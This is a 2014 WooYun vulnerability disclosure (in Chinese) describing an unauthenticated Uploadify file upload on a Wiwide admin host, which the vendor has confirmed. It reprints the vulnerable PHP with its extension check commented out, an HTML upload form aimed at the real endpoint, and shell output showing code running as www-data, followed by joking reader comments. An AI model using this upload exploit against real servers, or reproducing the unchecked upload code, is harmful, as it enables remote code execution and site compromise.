缺陷编号:WooYun-2014-088423
漏洞标题:迈外迪某后台使用第三方组件存在上传漏洞
相关厂商:迈外迪
漏洞作者:猪猪侠
提交时间:2014-12-24 13:18
公开时间:2015-02-07 13:20
漏洞类型:文件上传导致任意代码执行
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
Tags标签:
2014-12-24: 细节已通知厂商并且等待厂商处理中
2014-12-26: 厂商已经确认,细节仅向厂商公开
2015-01-05: 细节向核心白帽子及相关领域专家公开
2015-01-15: 细节向普通白帽子公开
2015-01-25: 细节向实习白帽子公开
2015-02-07: 细节向公众公开
迈外迪某后台使用第三方组件存在上传漏洞
1 |
http://widash.wiwide.com/uploadify/scripts/_notes/dwsync.xml |
存在uploadify上传组件,有用到uploadify的程序都有这个上传问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
<?php<br> /*<br> Uploadify v2.1.4<br> Release Date: November 8, 2010Copyright (c) 2010 Ronnie Garcia, Travis NickelsPermission is hereby granted, free of charge, to any person obtaining a copy<br> of this software and associated documentation files (the "Software"), to deal<br> in the Software without restriction, including without limitation the rights<br> to use, copy, modify, merge, publish, distribute, sublicense, and/or sell<br> copies of the Software, and to permit persons to whom the Software is<br> furnished to do so, subject to the following conditions:The above copyright notice and this permission notice shall be included in<br> all copies or substantial portions of the Software.THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR<br> IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,<br> FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE<br> AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER<br> LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,<br> OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN<br> THE SOFTWARE.<br> */<br> if (!empty($_FILES)) {<br> $tempFile = $_FILES['Filedata']['tmp_name'];<br> echo $tempFile;<br> $targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';<br> $targetFile = str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];// $fileTypes = str_replace('*.','',$_REQUEST['fileext']);<br> // $fileTypes = str_replace(';','|',$fileTypes);<br> // $typesArray = split('\|',$fileTypes);<br> // $fileParts = pathinfo($_FILES['Filedata']['name']);// if (in_array($fileParts['extension'],$typesArray)) {<br> // Uncomment the following line if you want to make the directory if it doesn't exist<br> // mkdir(str_replace('//','/',$targetPath), 0755, true);move_uploaded_file($tempFile,$targetFile);<br> echo $targetFile;<br> echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile);<br> // } else {<br> // echo 'Invalid file type.';<br> // }<br> }<br> ?> |
漏洞利用:上传文件到网站DOCUMENT_ROOT目录下
1 2 3 4 5 6 7 8 9 |
<html><br> <body><br> <form action="http://widash.wiwide.com/uploadify/scripts/uploadify.php" method="post" enctype="multipart/form-data"><br> <input name="Filedata" type="file" /><br> <input name='folder' type='text' value="/"><br> <input name="sub" type="submit" value="upload" /><br> </form><br> </body><br> </html> |
1 2 3 4 |
$whoami<br> www-data<br> $pwd<br> /home/wiwide/20141030/src/www |
尽量不要使用第三方组件,还被人扫描到
危害等级:高
漏洞Rank:11
确认时间:2014-12-2616:00
问题已经确认,多谢白帽子的反馈!
暂无
前排留名
人家都说轻点了....修不过来了..
@猪猪侠 猪哥还差第三弹呢,哈哈
疼。轻点
不鸣则已,一鸣惊人
亲 润度不够慢点!!
难道是wordpress插件?
@猪猪侠,人家肚子好痛了, 姿势一定要选对。
@猪猪侠 我很好奇,这破公司才66个员工,猪哥搞他为什么呢?
有礼物
一发接一发
@茜茜公主 根据我看到的资料,基本上是小白公司~~
原文连接
的情况下转载,若非则不得使用我方内容。